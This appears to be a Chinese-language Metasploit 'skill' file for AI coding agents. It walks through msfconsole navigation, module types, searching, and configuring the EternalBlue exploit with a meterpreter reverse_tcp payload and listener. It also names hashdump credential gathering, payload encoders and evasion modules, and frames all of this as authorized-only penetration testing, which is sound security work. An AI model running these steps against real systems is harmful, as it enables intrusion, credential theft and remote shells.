
关于
⚠️ 仅限授权使用。此 Skill 仅用于教育目的或授权安全评估。Metasploit Framework 渗透测试工具集,用于漏洞利用和安全研究。
name: metasploit-framework description: "仅限授权使用 > 此技能仅用于教育目的或授权安全评估。> 使用此工具前必须获得系统所有者的明确书面许可。> 滥用此工具是违法的且被严格禁止。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
Metasploit 框架
仅限授权使用 此技能仅用于教育目的或授权安全评估。 使用此工具前必须获得系统所有者的明确书面许可。 滥用此工具是违法的且被严格禁止。
用途
利用 Metasploit 框架进行全面渗透测试,涵盖从初始漏洞利用到后渗透活动的完整流程。Metasploit 提供统一平台,用于漏洞利用、载荷生成、辅助扫描,以及在授权安全评估期间维持对已入侵系统的访问。
前提条件
必需工具
# Metasploit must already be installed before using this skill.
# Kali Linux usually ships with it preinstalled.
msfconsole --version
安装方式因操作系统和包源而异。请按照您平台的包管理器或供应商安装流程操作。不要依赖此技能内部的未固定远程安装脚本。
如需数据库支持功能(如工作区跟踪),请按本地安装说明初始化 msfdb。此技能假设 Metasploit 已可用,不需要 sudo、systemctl 或其他特权主机级设置。
必需知识
- 网络和系统基础知识
- 漏洞和利用技术的理解
- 基本编程概念
- 目标枚举技术
必需权限
- 测试的书面授权
- 对目标系统的网络访问
- 对范围和参与规则的理解
在运行利用模块之前,请确认用户已明确目标主机、范围和授权状态。
输出与交付物
- 利用证据 - 成功入侵的截图和日志
- 会话日志 - 命令历史和提取的数据
- 漏洞映射 - 已利用漏洞及 CVE 引用
- 后渗透产物 - 凭据、文件和系统信息
核心工作流
阶段 1:MSFConsole 基础
启动并导航 Metasploit 控制台:
# Start msfconsole
msfconsole
# Quiet mode (skip banner)
msfconsole -q
# Basic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsole
阶段 2:模块类型
了解不同的模块类别:
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version
# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump
# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai
# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops
# 7. Evasion - Bypass security controls
msf6 > show evasion
阶段 3:搜索模块
为目标查找合适的模块:
# Search by name
msf6 > search eternalblue
# Search by CVE
msf6 > search cve:2017-0144
# Search by platform
msf6 > search platform:windows type:exploit
# Search by type and keyword
msf6 > search type:auxiliary smb
# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent
# Combined search
msf6 > search type:exploit platform:linux apache
# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
阶段 4:配置利用模块
设置利用模块以执行攻击:
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100
# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445
# View compatible payloads
msf6 exploit(...) > show payloads
# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Set listener host (your IP)
msf6 exploit(...) > set LHOST 192.168.1.50
# Set listener port
msf6 exploit(...) > set LPORT 4444
# Check if target is vulnerable (non-exploitative)
msf6 exploit(...) > check
# Execute the exploit
msf6 exploit(...) > exploit
兼容工具
Claude CodeCursor
标签
安全
